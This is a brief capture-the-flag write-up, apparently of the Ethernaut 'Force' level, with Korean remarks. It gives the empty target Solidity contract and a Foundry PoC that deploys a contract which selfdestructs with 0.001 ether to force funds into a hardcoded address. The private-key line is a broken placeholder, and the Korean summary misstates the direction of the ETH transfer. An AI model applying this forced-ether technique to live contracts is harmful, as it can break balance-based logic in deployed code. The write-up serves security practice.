Prob
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }
귀엽다..!
PoC
selfdestruct 함수를 날리면 남아있는 eth를 받을 수 있다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
contract attack {
constructor(address payable _target) payable {
selfdestruct(_target);
}
receive() payable external{}
}
contract exploit is Script {
function run() public {
uint256 pk = pk;
vm.startBroadcast(pk);
address payable target = payable(0x215C2B126D60F16Ed2a9036A4Df030AA0724e7db);
new attack{value: 0.001 ether}(target);
vm.stopBroadcast();
}
}